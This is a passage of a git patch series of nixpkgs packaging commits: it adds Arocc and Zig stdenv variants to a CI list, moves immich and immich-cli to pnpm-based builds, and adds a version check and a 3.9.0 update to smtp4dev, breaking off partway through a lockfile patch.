(cherry picked from commit 81041001012392d916f7d5daec17695b48bdb3e9)
---
 ci/eval/attrpaths.nix | 13 ++++++++++---
 1 file changed, 10 insertions(+), 3 deletions(-)

diff --git a/ci/eval/attrpaths.nix b/ci/eval/attrpaths.nix
index 8ebc822ccb0d..6938e5dfe3cb 100644
--- a/ci/eval/attrpaths.nix
+++ b/ci/eval/attrpaths.nix
@@ -50,13 +50,20 @@ let
   };
 
   paths = [
-    # I am not entirely sure why these three packages end up in
-    # the Hydra jobset.  But they do, and they don't meet the
-    # criteria above, so at the moment they are special-cased.
+    # Some of the following are based on variants, which are disabled with `attrNamesOnly = true`.
+    # Until these have been removed from release.nix / hydra, we manually add them to the list.
     [
       "pkgsLLVM"
       "stdenv"
     ]
+    [
+      "pkgsArocc"
+      "stdenv"
+    ]
+    [
+      "pkgsZig"
+      "stdenv"
+    ]
     [
       "pkgsStatic"
       "stdenv"

From 4b1b3538ccd08be1b46c2e00ac669c93adfd1401 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Robert=20Sch=C3=BCtz?= <nix@dotlambda.de>
Date: Tue, 26 Aug 2025 19:40:50 -0700
Subject: [PATCH 4227/4511] immich: 1.138.1 -> 1.140.1

Diff: https://github.com/immich-app/immich/compare/v1.138.1...v1.140.1

Changelog: https://github.com/immich-app/immich/releases/tag/v1.139.2
           https://github.com/immich-app/immich/releases/tag/v1.139.3
           https://github.com/immich-app/immich/releases/tag/v1.139.4
           https://github.com/immich-app/immich/releases/tag/v1.140.0
           https://github.com/immich-app/immich/releases/tag/v1.140.1

Co-authored-by: uku <hi@uku.moe>
(cherry picked from commit d5daefcfe2c4fa3e255602e62bd688256902a50a)
---
 pkgs/by-name/im/immich-cli/package.nix |  44 +++++--
 pkgs/by-name/im/immich/package.nix     | 163 +++++++++++--------------
 pkgs/by-name/im/immich/sources.json    |  26 ----
 pkgs/by-name/im/immich/update.sh       |  62 ----------
 4 files changed, 104 insertions(+), 191 deletions(-)
 delete mode 100644 pkgs/by-name/im/immich/sources.json
 delete mode 100755 pkgs/by-name/im/immich/update.sh

diff --git a/pkgs/by-name/im/immich-cli/package.nix b/pkgs/by-name/im/immich-cli/package.nix
index d41dc764f26d..092f2a9fe1ad 100644
--- a/pkgs/by-name/im/immich-cli/package.nix
+++ b/pkgs/by-name/im/immich-cli/package.nix
@@ -1,26 +1,52 @@
 {
   lib,
   immich,
-  buildNpmPackage,
+  jq,
   nodejs,
   makeWrapper,
+  stdenv,
 }:
-buildNpmPackage {
+
+let
+  inherit (immich) pnpm;
+in
+stdenv.mkDerivation rec {
   pname = "immich-cli";
-  src = "${immich.src}/cli";
-  inherit (immich.sources.components.cli) version npmDepsHash;
+  version = "2.2.86";
+  inherit (immich) src pnpmDeps;
 
-  nativeBuildInputs = [ makeWrapper ];
+  postPatch = ''
+    local -r cli_version="$(jq -r .version cli/package.json)"
+    test "$cli_version" = ${version} \
+      || (echo "error: update immich-cli version to $cli_version" && exit 1)
+  '';
 
-  inherit (immich.web) preBuild;
+  nativeBuildInputs = [
+    jq
+    makeWrapper
+    nodejs
+    pnpm
+    pnpm.configHook
+  ];
+
+  buildPhase = ''
+    runHook preBuild
+
+    pnpm --filter @immich/sdk build
+    pnpm --filter @immich/cli build
+
+    runHook postBuild
+  '';
 
   installPhase = ''
     runHook preInstall
 
-    mkdir -p $out
-    mv package.json package-lock.json node_modules dist $out/
+    local -r packageOut="$out/lib/node_modules/@immich/cli"
 
-    makeWrapper ${lib.getExe nodejs} $out/bin/immich --add-flags $out/dist/index.js
+    pnpm --filter @immich/cli deploy --prod --no-optional "$packageOut"
+
+    makeWrapper '${lib.getExe nodejs}' "$out/bin/immich" \
+      --add-flags "$packageOut/dist/index.js"
 
     runHook postInstall
   '';
diff --git a/pkgs/by-name/im/immich/package.nix b/pkgs/by-name/im/immich/package.nix
index 9eefd4d2450f..f97adcb51b98 100644
--- a/pkgs/by-name/im/immich/package.nix
+++ b/pkgs/by-name/im/immich/package.nix
@@ -1,8 +1,8 @@
 {
   lib,
   stdenv,
-  buildNpmPackage,
   fetchFromGitHub,
+  pnpm_10,
   python3,
   nodejs,
   node-gyp,
@@ -10,7 +10,6 @@
   nixosTests,
   immich-machine-learning,
   # build-time deps
-  glib,
   pkg-config,
   makeWrapper,
   curl,
@@ -32,12 +31,10 @@
   pixman,
   vips,
   buildPackages,
-  sourcesJSON ? ./sources.json,
 }:
 let
-  buildNpmPackage' = buildNpmPackage.override { inherit nodejs; };
-  sources = lib.importJSON sourcesJSON;
-  inherit (sources) version;
+  pnpm = pnpm_10;
+  version = "1.140.1";
 
   esbuild' = buildPackages.esbuild.override {
     buildGoModule =
@@ -77,14 +74,14 @@ let
   # The geodata website is not versioned, so we use the internet archive
   geodata =
     let
-      inherit (sources.components.geonames) timestamp;
+      timestamp = "20250818205425";
       date =
         "${lib.substring 0 4 timestamp}-${lib.substring 4 2 timestamp}-${lib.substring 6 2 timestamp}T"
         + "${lib.substring 8 2 timestamp}:${lib.substring 10 2 timestamp}:${lib.substring 12 2 timestamp}Z";
     in
     runCommand "immich-geodata"
       {
-        outputHash = sources.components.geonames.hash;
+        outputHash = "sha256-zZHAomW1C4qReFbhme5dkVnTiLw+jmhZhzuYvoBVBCY=";
         outputHashMode = "recursive";
         nativeBuildInputs = [
           cacert
@@ -111,69 +108,39 @@ let
     owner = "immich-app";
     repo = "immich";
     tag = "v${version}";
-    inherit (sources) hash;
+    hash = "sha256-Bo9wFP0u39aoaNjc8K4Im3HRGZR/TLrDB7+UDAhV1xA=";
   };
 
-  openapi = buildNpmPackage' {
-    pname = "immich-openapi-sdk";
-    inherit version;
-    src = "${src}/open-api/typescript-sdk";
-    inherit (sources.components."open-api/typescript-sdk") npmDepsHash;
-
-    installPhase = ''
-      runHook preInstall
-
-      npm config delete cache
-      npm prune --omit=dev --omit=optional
-
-      mkdir -p $out
-      mv package.json package-lock.json node_modules build $out/
-
-      runHook postInstall
-    '';
-  };
-
-  web = buildNpmPackage' {
-    pname = "immich-web";
+  pnpmDeps = pnpm.fetchDeps {
+    pname = "immich";
     inherit version src;
-    sourceRoot = "${src.name}/web";
-    inherit (sources.components.web) npmDepsHash;
+    fetcherVersion = 2;
+    hash = "sha256-DIcUKuU+ToRh/kSLcs4ZEHy7zhFir2nlbRx+/kMagrA=";
+  };
 
-    # prePatch is needed because npmConfigHook is a postPatch
-    prePatch = ''
-      # some part of the build wants to use un-prefixed binaries. let them.
-      mkdir -p $TMP/bin
-      ln -s "$(type -p ${stdenv.cc.targetPrefix}pkg-config)" $TMP/bin/pkg-config || true
-      ln -s "$(type -p ${stdenv.cc.targetPrefix}c++filt)" $TMP/bin/c++filt || true
-      ln -s "$(type -p ${stdenv.cc.targetPrefix}readelf)" $TMP/bin/readelf || true
-      export PATH="$TMP/bin:$PATH"
-    '';
-
-    preBuild = ''
-      rm node_modules/@immich/sdk
-      ln -s ${openapi} node_modules/@immich/sdk
-    '';
-
-    env.npm_config_build_from_source = "true";
+  web = stdenv.mkDerivation {
+    pname = "immich-web";
+    inherit version src pnpmDeps;
 
     nativeBuildInputs = [
-      pkg-config
+      nodejs
+      pnpm
+      pnpm.configHook
     ];
 
-    buildInputs = [
-      # https://github.com/Automattic/node-canvas/blob/master/Readme.md#compiling
-      cairo
-      giflib
-      libjpeg
-      libpng
-      librsvg
-      pango
-      pixman
-    ];
+    buildPhase = ''
+      runHook preBuild
+
+      pnpm --filter @immich/sdk build
+      pnpm --filter immich-web build
+
+      runHook postBuild
+    '';
 
     installPhase = ''
       runHook preInstall
 
+      cd web
       cp -r build $out
 
       runHook postInstall
@@ -184,32 +151,24 @@ let
     mesonFlags = prev.mesonFlags ++ [ "-Dtiff=disabled" ];
   });
 in
-buildNpmPackage' {
+stdenv.mkDerivation {
   pname = "immich";
-  inherit version;
-  src = "${src}/server";
-  inherit (sources.components.server) npmDepsHash;
+  inherit version src pnpmDeps;
 
-  # prePatch is needed because npmConfigHook is a postPatch
-  prePatch = ''
+  postPatch = ''
     # pg_dumpall fails without database root access
     # see https://github.com/immich-app/immich/issues/13971
-    substituteInPlace src/services/backup.service.ts \
+    substituteInPlace server/src/services/backup.service.ts \
       --replace-fail '`/usr/lib/postgresql/''${databaseMajorVersion}/bin/pg_dumpall`' '`pg_dump`'
-
-    # some part of the build wants to use un-prefixed binaries. let them.
-    mkdir -p $TMP/bin
-    ln -s "$(type -p ${stdenv.cc.targetPrefix}pkg-config)" $TMP/bin/pkg-config || true
-    ln -s "$(type -p ${stdenv.cc.targetPrefix}c++filt)" $TMP/bin/c++filt || true
-    ln -s "$(type -p ${stdenv.cc.targetPrefix}readelf)" $TMP/bin/readelf || true
-    export PATH="$TMP/bin:$PATH"
   '';
 
   nativeBuildInputs = [
+    nodejs
     pkg-config
+    pnpm_10
+    pnpm_10.configHook
     python3
     makeWrapper
-    glib
     node-gyp # for building node_modules/sharp from source
   ];
 
@@ -230,43 +189,60 @@ buildNpmPackage' {
     vips'
   ];
 
-  # Required because vips tries to write to the cache dir
-  makeCacheWritable = true;
-
   env.SHARP_FORCE_GLOBAL_LIBVIPS = 1;
   env.ESBUILD_BINARY_PATH = lib.getExe esbuild';
+  # fix for node-gyp, see https://github.com/nodejs/node-gyp/issues/1191#issuecomment-301243919
+  env.npm_config_nodedir = nodejs;
+
+  buildPhase = ''
+    runHook preBuild
 
-  preBuild = ''
     # If exiftool-vendored.pl isn't found, exiftool is searched for on the PATH
-    rm -r node_modules/exiftool-vendored.*
+    rm node_modules/.pnpm/node_modules/exiftool-vendored.pl
+
+    pnpm --filter immich build
+
+    runHook postBuild
   '';
 
   installPhase = ''
     runHook preInstall
 
-    npm config delete cache
-    npm prune --omit=dev
+    local -r packageOut="$out/lib/node_modules/immich"
+
+    # install node_modules and built files in $out
+    # upstream uses pnpm deploy to build their docker images
+    pnpm --filter immich deploy --prod --no-optional "$packageOut"
 
     # remove build artifacts that bloat the closure
-    rm -r node_modules/**/{*.target.mk,binding.Makefile,config.gypi,Makefile,Release/.deps}
+    find "$packageOut/node_modules" \( \
+      -name config.gypi \
+      -o -name .deps \
+      -o -name '*Makefile' \
+      -o -name '*.target.mk' \
+    \) -exec rm -r {} +
 
-    mkdir -p $out/build
-    mv package.json package-lock.json node_modules dist resources $out/
-    ln -s ${web} $out/build/www
-    ln -s ${geodata} $out/build/geodata
+    mkdir -p "$packageOut/build"
+    ln -s '${web}' "$packageOut/build/www"
+    ln -s '${geodata}' "$packageOut/build/geodata"
 
-    echo '${builtins.toJSON buildLock}' > $out/build/build-lock.json
+    echo '${builtins.toJSON buildLock}' > "$packageOut/build/build-lock.json"
 
-    makeWrapper ${lib.getExe nodejs} $out/bin/admin-cli --add-flags $out/dist/main --add-flags cli
-    makeWrapper ${lib.getExe nodejs} $out/bin/server --add-flags $out/dist/main --chdir $out \
-      --set IMMICH_BUILD_DATA $out/build --set NODE_ENV production \
-      --suffix PATH : "${
+    makeWrapper '${lib.getExe nodejs}' "$out/bin/admin-cli" \
+      --add-flags "$packageOut/dist/main" \
+      --add-flags cli
+    makeWrapper '${lib.getExe nodejs}' "$out/bin/server" \
+      --add-flags "$packageOut/dist/main" \
+      --chdir "$packageOut" \
+      --set IMMICH_BUILD_DATA "$packageOut/build" \
+      --set NODE_ENV production \
+      --suffix PATH : '${
         lib.makeBinPath [
           exiftool
           jellyfin-ffmpeg
           perl # exiftool-vendored checks for Perl even if exiftool comes from $PATH
         ]
-      }"
+      }'
 
     runHook postInstall
   '';
@@ -280,11 +256,10 @@ buildNpmPackage' {
 
     inherit
       src
-      sources
       web
       geodata
+      pnpm
       ;
-    updateScript = ./update.sh;
   };
 
   meta = {
diff --git a/pkgs/by-name/im/immich/sources.json b/pkgs/by-name/im/immich/sources.json
deleted file mode 100644
index 70e02e44a510..000000000000
--- a/pkgs/by-name/im/immich/sources.json
+++ /dev/null
@@ -1,26 +0,0 @@
-{
-  "version": "1.138.1",
-  "hash": "sha256-oaZN0kF82mS25bDSTXRjYnWG9RAMSbCUhXn9t0am96U=",
-  "components": {
-    "cli": {
-      "npmDepsHash": "sha256-6k83QOdKh+FlVnYvA9j60115oohUMDc2YvGaj/GMukE=",
-      "version": "2.2.79"
-    },
-    "server": {
-      "npmDepsHash": "sha256-4sqWIIGQ8ZW7TvJoNjNNliriuV6Su0askAN6pAq9VFc=",
-      "version": "1.138.1"
-    },
-    "web": {
-      "npmDepsHash": "sha256-+W8cDgy3qe6RDen8SEdHPNADkKb4zZH8C/Am/bdU42c=",
-      "version": "1.138.1"
-    },
-    "open-api/typescript-sdk": {
-      "npmDepsHash": "sha256-GfmFPsnFu7l4EsnPDv4nj5KLkOz8nEJvMT1BE7zIQ3k=",
-      "version": "1.138.1"
-    },
-    "geonames": {
-      "timestamp": "20250818205425",
-      "hash": "sha256-zZHAomW1C4qReFbhme5dkVnTiLw+jmhZhzuYvoBVBCY="
-    }
-  }
-}
diff --git a/pkgs/by-name/im/immich/update.sh b/pkgs/by-name/im/immich/update.sh
deleted file mode 100755
index 1e11085e3adf..000000000000
--- a/pkgs/by-name/im/immich/update.sh
+++ /dev/null
@@ -1,62 +0,0 @@
-#!/usr/bin/env nix-shell
-#!nix-shell -i bash -p curl jq prefetch-npm-deps nix-prefetch-github coreutils ripgrep
-
-set -euo pipefail
-cd "$(dirname "${BASH_SOURCE[0]}")"
-
-old_version=$(jq -r ".version" sources.json || echo -n "0.0.1")
-version=$(curl -s "https://api.github.com/repos/immich-app/immich/releases/latest" | jq -r ".tag_name")
-version="${version#v}"
-
-echo "Updating to $version"
-
-if [[ "$old_version" == "$version" ]]; then
-    echo "Already up to date!"
-    exit 0
-fi
-
-echo "Fetching src"
-src_hash=$(nix-prefetch-github immich-app immich --rev "v${version}" | jq -r .hash)
-upstream_src="https://raw.githubusercontent.com/immich-app/immich/v$version"
-
-sources_tmp="$(mktemp)"
-cat <<EOF > "$sources_tmp"
-{
-  "version": "$version",
-  "hash": "$src_hash",
-  "components": {}
-}
-EOF
-
-lock=$(mktemp)
-for npm_component in cli server web "open-api/typescript-sdk"; do
-    echo "fetching $npm_component"
-    curl -s -o "$lock" "$upstream_src/$npm_component/package-lock.json"
-    hash=$(prefetch-npm-deps "$lock")
-    echo "$(jq --arg npm_component "$npm_component" \
-      --arg hash "$hash" \
-      --arg version "$(jq -r '.version' <"$lock")" \
-      '.components += {($npm_component): {npmDepsHash: $hash, version: $version}}' \
-      "$sources_tmp")" > "$sources_tmp"
-done
-rm "$lock"
-
-url="http://download.geonames.org/export/dump"
-curl -s "http://web.archive.org/save/$url/cities500.zip"
-curl -s "http://web.archive.org/save/$url/admin1CodesASCII.txt"
-curl -s "http://web.archive.org/save/$url/admin1Codes.txt"
-timestamp=$(curl -s \
-    "http://archive.org/wayback/available?url=$url/cities500.zip" \
-    | jq -r ".archived_snapshots.closest.timestamp")
-echo "$(jq --arg timestamp "$timestamp" --arg hash "sha256-AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=" \
-    '.components += {geonames: {timestamp: $timestamp, hash: $hash}}' \
-    "$sources_tmp")" > "$sources_tmp"
-
-cp "$sources_tmp" sources.json
-set +o pipefail
-output="$(nix-build ../../../.. -A immich.geodata 2>&1 || true)"
-set -o pipefail
-hash=$(echo "$output" | rg 'got:\s+(sha256-.*)$' -or '$1')
-echo "$(jq --arg hash "$hash" '.components.geonames.hash = $hash' "$sources_tmp")" > "$sources_tmp"
-
-mv "$sources_tmp" sources.json

From c96d9a165b4c891dac4e4ab28952f4f12541899d Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Tue, 2 Sep 2025 17:24:54 +0200
Subject: [PATCH 4228/4511] smtp4dev: add version check

(cherry picked from commit 64679ff782928e0f69d93be55e6bfd39f3f2ef36)
---
 pkgs/by-name/sm/smtp4dev/package.nix | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/pkgs/by-name/sm/smtp4dev/package.nix b/pkgs/by-name/sm/smtp4dev/package.nix
index 7a4abeaa4a71..896b574b41e8 100644
--- a/pkgs/by-name/sm/smtp4dev/package.nix
+++ b/pkgs/by-name/sm/smtp4dev/package.nix
@@ -47,6 +47,15 @@ buildDotnetModule (finalAttrs: {
     mv $out/bin/Rnwood.Smtp4dev $out/bin/smtp4dev
   '';
 
+  doInstallCheck = true;
+  installCheckPhase = ''
+    runHook preInstallCheck
+
+    $out/bin/smtp4dev --help | head -1 | grep -F "smtp4dev version ${finalAttrs.version}"
+
+    runHook postInstallCheck
+  '';
+
   passthru.updateScript = ./update.sh;
 
   meta = {

From 82822c9232046ab7add756aac4fd4e1a53735b0f Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Tue, 2 Sep 2025 17:13:24 +0200
Subject: [PATCH 4229/4511] smtp4dev: 3.8.6 -> 3.9.0

Diff: https://github.com/rnwood/smtp4dev/compare/3.8.6...3.9.0
(cherry picked from commit 545f5c6268cdbd30333d8b173ea73b12db47753c)
---
 pkgs/by-name/sm/smtp4dev/deps.json            |  56 +-
 pkgs/by-name/sm/smtp4dev/package.nix          |   6 +-
 .../sm/smtp4dev/smtp4dev-npm-packages.patch   | 667 +++++++-----------
 3 files changed, 269 insertions(+), 460 deletions(-)

diff --git a/pkgs/by-name/sm/smtp4dev/deps.json b/pkgs/by-name/sm/smtp4dev/deps.json
index a3e7e8fa90f8..a9645096e9a7 100644
--- a/pkgs/by-name/sm/smtp4dev/deps.json
+++ b/pkgs/by-name/sm/smtp4dev/deps.json
@@ -211,8 +211,8 @@
   },
   {
     "pname": "Microsoft.Extensions.ApiDescription.Server",
-    "version": "6.0.3",
-    "hash": "sha256-1G+68E/fg89Vkgo4V7pCGqWlDdBErZMFfW+AV1q5brA="
+    "version": "8.0.14",
+    "hash": "sha256-mfNB1+5kcIr8burRrsr5LR5pVEAISQ8o9m8FrCtye3M="
   },
   {
     "pname": "Microsoft.Extensions.Caching.Abstractions",
@@ -581,8 +581,8 @@
   },
   {
     "pname": "Microsoft.TypeScript.MSBuild",
-    "version": "5.8.1",
-    "hash": "sha256-5x81TEhXaEEYnBeosK8zmBwPLKPifMf4JUFrGsk/IxA="
+    "version": "5.8.3",
+    "hash": "sha256-zL02BnZRCc5v1GUmzhaL1TnUq9+8Vkz5rGDPt+7CkD8="
   },
   {
     "pname": "Microsoft.VisualStudio.Web.CodeGeneration.Contracts",
@@ -636,8 +636,8 @@
   },
   {
     "pname": "Namotion.Reflection",
-    "version": "3.3.0",
-    "hash": "sha256-YBYWLYmnCZrKfiJWQo7tofiz2A7ROpxFfAYdYLa5cgI="
+    "version": "3.4.2",
+    "hash": "sha256-iaQrE5VwRHqXOyzym4vY3+4aDw6eswN5P3LDd3FoFZk="
   },
   {
     "pname": "NETStandard.Library",
@@ -666,53 +666,53 @@
   },
   {
     "pname": "NJsonSchema",
-    "version": "11.2.0",
-    "hash": "sha256-Y1FggfzRf54+ioMKvyyzMW30psrHF7hmAwnYom/Ud8s="
+    "version": "11.3.2",
+    "hash": "sha256-x+vNknToh2X1qk7NmsQEUWCoEJ5CGc1b9XNOrIbCOLc="
   },
   {
     "pname": "NJsonSchema.Annotations",
-    "version": "11.2.0",
-    "hash": "sha256-uQYU/NuAbz+HlImemuv1Yi4ODKoaQ38BSrWONOR9jFs="
+    "version": "11.3.2",
+    "hash": "sha256-MWC0Hvd6knCAjViSKOY7lugxGbVEcn3lyzEUO5unphQ="
   },
   {
     "pname": "NJsonSchema.NewtonsoftJson",
-    "version": "11.2.0",
-    "hash": "sha256-NyXB3rcdPpjaZq0CAZy5xMmvLqqzPGyddeTVtowqaBU="
+    "version": "11.3.2",
+    "hash": "sha256-jIRsXWHVNmWgz2WlmiJnfyXNofwrrdkLVlx4x3PPPlM="
   },
   {
     "pname": "NJsonSchema.Yaml",
-    "version": "11.2.0",
-    "hash": "sha256-NtlUldW5D0VSj10XqfMvxDMVULdw99owTS1zGYg4aKg="
+    "version": "11.3.2",
+    "hash": "sha256-7IzmfufXlhTZoESAIsd5zqBZ/x30tAAZl9Bx/m3QaxA="
   },
   {
     "pname": "NSwag.Annotations",
-    "version": "14.3.0",
-    "hash": "sha256-kz+fEwUlEjsPsOiFCTcXYHAAYCJa2cepDRIY4mkye4U="
+    "version": "14.4.0",
+    "hash": "sha256-NbAAQ+tlgi+/766JeEsD+W6SQMEHy2qyTsoMlxvuuo8="
   },
   {
     "pname": "NSwag.AspNetCore",
-    "version": "14.3.0",
-    "hash": "sha256-lGeH27yzj5fXPpBMqtoFOTRiu+gve8oSgugW2u4tMAk="
+    "version": "14.4.0",
+    "hash": "sha256-3nMNWDrr6k6q5vaskxWc6oioUkLoyJciZ4ocyW5oN+w="
   },
   {
     "pname": "NSwag.Core",
-    "version": "14.3.0",
-    "hash": "sha256-FjWms/V5+j4ut1TShKWDsTr1LuBsHxRQIFs1fwD0jGw="
+    "version": "14.4.0",
+    "hash": "sha256-l1nBCyf/ed2Xm8Yk5TL3ni8kQxQSAf0ajAfwaAL3/6I="
   },
   {
     "pname": "NSwag.Core.Yaml",
-    "version": "14.3.0",
-    "hash": "sha256-CcGXuyNUvF/e3f9K3wZY+h0RIbzoLOLLguUcj+VVFXI="
+    "version": "14.4.0",
+    "hash": "sha256-YBlNeIqgZgcYvf/VvJXelTIxDCRqyPJPo7ZzTIo16ak="
   },
   {
     "pname": "NSwag.Generation",
-    "version": "14.3.0",
-    "hash": "sha256-M487C7OsnZnURcAN90DGIhZTnxlToaIskkztCKkXzQc="
+    "version": "14.4.0",
+    "hash": "sha256-DH7C00KVAiv6i8lJxNAzkDtuNHykyGQAfgT6MAbeBko="
   },
   {
     "pname": "NSwag.Generation.AspNetCore",
-    "version": "14.3.0",
-    "hash": "sha256-DvjSjbM2ug0AvjAE8CwVUej2hZbLWopmZMbOx4Oy2IU="
+    "version": "14.4.0",
+    "hash": "sha256-YT2v9ddGAFk8gMj1aQ2yHOK3UWX3mcIoGYWBl+OsJ2s="
   },
   {
     "pname": "NuGet.Frameworks",
@@ -1396,8 +1396,8 @@
   },
   {
     "pname": "System.Linq.Dynamic.Core",
-    "version": "1.6.0.2",
-    "hash": "sha256-5qzEVm+33ATR+SQljwe/LcP5o0MNjv49nHfXIVG27dw="
+    "version": "1.6.4",
+    "hash": "sha256-Mpp+3UYARo+Hnh3ybtHtdN0LI5HQV07CBZP7jRnVk10="
   },
   {
     "pname": "System.Linq.Expressions",
diff --git a/pkgs/by-name/sm/smtp4dev/package.nix b/pkgs/by-name/sm/smtp4dev/package.nix
index 896b574b41e8..d59f12863677 100644
--- a/pkgs/by-name/sm/smtp4dev/package.nix
+++ b/pkgs/by-name/sm/smtp4dev/package.nix
@@ -11,13 +11,13 @@
 
 buildDotnetModule (finalAttrs: {
   pname = "smtp4dev";
-  version = "3.8.6";
+  version = "3.9.0";
 
   src = fetchFromGitHub {
     owner = "rnwood";
     repo = "smtp4dev";
     tag = finalAttrs.version;
-    hash = "sha256-k4nerh4cVVcFQF7a4Wvcfhefa3SstEOASk+0soN0n9k=";
+    hash = "sha256-LGhx+i4PIExC6GbBwDOLi/g1TxNoMFMZomdnbtc/wNc=";
   };
 
   patches = [ ./smtp4dev-npm-packages.patch ];
@@ -33,7 +33,7 @@ buildDotnetModule (finalAttrs: {
 
   npmDeps = fetchNpmDeps {
     inherit (finalAttrs) src patches;
-    hash = "sha256-Uj0EnnsA+QHq5KHF2B93OG8rwxYrV6sEgMTbd43ttCA=";
+    hash = "sha256-Xjx3V5FH72D+CXBRZgmlkbp5evnp6F4zaHMWQB5o61w=";
     postPatch = "cd ${finalAttrs.npmRoot}";
   };
 
diff --git a/pkgs/by-name/sm/smtp4dev/smtp4dev-npm-packages.patch b/pkgs/by-name/sm/smtp4dev/smtp4dev-npm-packages.patch
index 6889e774cad2..0d65bea9a725 100644
--- a/pkgs/by-name/sm/smtp4dev/smtp4dev-npm-packages.patch
+++ b/pkgs/by-name/sm/smtp4dev/smtp4dev-npm-packages.patch
@@ -1,18 +1,17 @@
 diff --git a/Rnwood.Smtp4dev/ClientApp/package-lock.json b/Rnwood.Smtp4dev/ClientApp/package-lock.json
-index be143b7..6e8b0b4 100644
+index c25a9ca..59acfb5 100644
 --- a/Rnwood.Smtp4dev/ClientApp/package-lock.json
 +++ b/Rnwood.Smtp4dev/ClientApp/package-lock.json
-@@ -20,7 +20,8 @@
+@@ -21,7 +21,7 @@
          "@microsoft/signalr": "^8.0.0",
          "@types/jest": "^29.5.12",
          "@types/sanitize-html": "^2.11.0",
 -        "@typescript-eslint/parser": "^8.0.0",
-+        "@typescript-eslint/eslint-plugin": "^8.31.1",
-+        "@typescript-eslint/parser": "^8.31.1",
++        "@typescript-eslint/parser": "^8.32.1",
          "@vitejs/plugin-vue": "^5.0.4",
          "@vue/eslint-config-typescript": "^13.0.0",
          "@vue/vue3-jest": "^29.2.6",
-@@ -2937,7 +2938,8 @@
+@@ -2938,7 +2938,8 @@
        "version": "7.0.15",
        "resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.15.tgz",
        "integrity": "sha512-5+fP8P8MFNC+AyZCDxrB2pkZFPGzqQWUzpSeuuVLvm8VMcorNYavBqoFcxK8bQz4Qsbn4oUEEem4wDLfcysGHA==",
@@ -22,7 +21,7 @@ index be143b7..6e8b0b4 100644
      },
      "node_modules/@types/lodash": {
        "version": "4.17.0",
-@@ -2993,12 +2995,6 @@
+@@ -2994,12 +2995,6 @@
          "entities": "^4.4.0"
        }
      },
@@ -35,45 +34,36 @@ index be143b7..6e8b0b4 100644
      "node_modules/@types/stack-utils": {
        "version": "2.0.3",
        "resolved": "https://registry.npmjs.org/@types/stack-utils/-/stack-utils-2.0.3.tgz",
-@@ -3039,84 +3035,59 @@
+@@ -3039,74 +3034,6 @@
+       "integrity": "sha512-I4q9QU9MQv4oEOz4tAHJtNz1cwuLxn2F3xcc2iV5WdqLPpUnj30aUuxt1mAxYTG+oe8CZMV/+6rU4S4gRDzqtQ==",
        "dev": true
      },
-     "node_modules/@typescript-eslint/eslint-plugin": {
+-    "node_modules/@typescript-eslint/eslint-plugin": {
 -      "version": "7.6.0",
 -      "resolved": "https://registry.npmjs.org/@typescript-eslint/eslint-plugin/-/eslint-plugin-7.6.0.tgz",
 -      "integrity": "sha512-gKmTNwZnblUdnTIJu3e9kmeRRzV2j1a/LUO27KNNAnIC5zjy1aSvXSRp4rVNlmAoHlQ7HzX42NbKpcSr4jF80A==",
-+      "version": "8.31.1",
-+      "resolved": "https://registry.npmjs.org/@typescript-eslint/eslint-plugin/-/eslint-plugin-8.31.1.tgz",
-+      "integrity": "sha512-oUlH4h1ABavI4F0Xnl8/fOtML/eu8nI2A1nYd+f+55XI0BLu+RIqKoCiZKNo6DtqZBEQm5aNKA20G3Z5w3R6GQ==",
-       "dev": true,
-+      "license": "MIT",
-       "dependencies": {
-         "@eslint-community/regexpp": "^4.10.0",
+-      "dev": true,
+-      "dependencies": {
+-        "@eslint-community/regexpp": "^4.10.0",
 -        "@typescript-eslint/scope-manager": "7.6.0",
 -        "@typescript-eslint/type-utils": "7.6.0",
 -        "@typescript-eslint/utils": "7.6.0",
 -        "@typescript-eslint/visitor-keys": "7.6.0",
 -        "debug": "^4.3.4",
-+        "@typescript-eslint/scope-manager": "8.31.1",
-+        "@typescript-eslint/type-utils": "8.31.1",
-+        "@typescript-eslint/utils": "8.31.1",
-+        "@typescript-eslint/visitor-keys": "8.31.1",
-         "graphemer": "^1.4.0",
-         "ignore": "^5.3.1",
-         "natural-compare": "^1.4.0",
+-        "graphemer": "^1.4.0",
+-        "ignore": "^5.3.1",
+-        "natural-compare": "^1.4.0",
 -        "semver": "^7.6.0",
 -        "ts-api-utils": "^1.3.0"
-+        "ts-api-utils": "^2.0.1"
-       },
-       "engines": {
+-      },
+-      "engines": {
 -        "node": "^18.18.0 || >=20.0.0"
-+        "node": "^18.18.0 || ^20.9.0 || >=21.1.0"
-       },
-       "funding": {
-         "type": "opencollective",
-         "url": "https://opencollective.com/typescript-eslint"
-       },
-       "peerDependencies": {
+-      },
+-      "funding": {
+-        "type": "opencollective",
+-        "url": "https://opencollective.com/typescript-eslint"
+-      },
+-      "peerDependencies": {
 -        "@typescript-eslint/parser": "^7.0.0",
 -        "eslint": "^8.56.0"
 -      },
@@ -81,25 +71,17 @@ index be143b7..6e8b0b4 100644
 -        "typescript": {
 -          "optional": true
 -        }
-+        "@typescript-eslint/parser": "^8.0.0 || ^8.0.0-alpha.0",
-+        "eslint": "^8.57.0 || ^9.0.0",
-+        "typescript": ">=4.8.4 <5.9.0"
-       }
-     },
+-      }
+-    },
 -    "node_modules/@typescript-eslint/eslint-plugin/node_modules/lru-cache": {
 -      "version": "6.0.0",
 -      "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz",
 -      "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==",
-+    "node_modules/@typescript-eslint/eslint-plugin/node_modules/ts-api-utils": {
-+      "version": "2.1.0",
-+      "resolved": "https://registry.npmjs.org/ts-api-utils/-/ts-api-utils-2.1.0.tgz",
-+      "integrity": "sha512-CUgTZL1irw8u29bzrOD/nH85jqyc74D6SshFgujOIA7osm2Rz7dYH77agkx7H4FBNxDq7Cjf+IjaX/8zwFW+ZQ==",
-       "dev": true,
+-      "dev": true,
 -      "dependencies": {
 -        "yallist": "^4.0.0"
 -      },
-+      "license": "MIT",
-       "engines": {
+-      "engines": {
 -        "node": ">=10"
 -      }
 -    },
@@ -113,14 +95,11 @@ index be143b7..6e8b0b4 100644
 -      },
 -      "bin": {
